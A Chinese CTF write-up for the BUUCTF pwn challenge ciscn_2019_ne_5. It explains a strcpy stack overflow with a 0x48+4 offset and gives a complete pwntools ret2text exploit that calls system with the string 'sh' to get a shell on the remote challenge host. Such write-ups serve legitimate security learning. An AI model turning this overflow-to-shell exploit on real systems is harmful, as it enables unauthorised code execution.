PWN手的成长之路-18-ciscn_2019_ne_5-rettext

file,checksec:

查看 main 函数,发现了有一个 get_flag 函数。

查看 get_flag 函数,发现存在溢出。strcpy 函数会复制 src 的数据并赋值给 dest ,这里会造成溢出。

且溢出大小为:0x48 + 4 (加 4 是因为此程序是 32 位的)

并且在 print 函数中发现了 system 函数。

之后尝试查找字符串 /bin/sh,并没有,但是找到了 sh。

exp:
from pwn import *
from LibcSearcher import *
#start
r = remote('node5.buuoj.cn',29109)
elf = ELF('./pwn')
context.log_level = 'debug'
#params
sh_addr = 0x80482EA
#system_addr = 0x80484D0
system_addr = elf.sym['system']
main_addr = elf.sym['main']
#attack
payload = b'a'*(0x48+4) + p32(system_addr) + p32(main_addr) + p32(sh_addr)
r.sendlineafter(b'password','administrator')
r.sendlineafter(b':',b'1')
r.sendline(payload)
r.sendline(b'4')
r.interactive()

浙公网安备 33010602011771号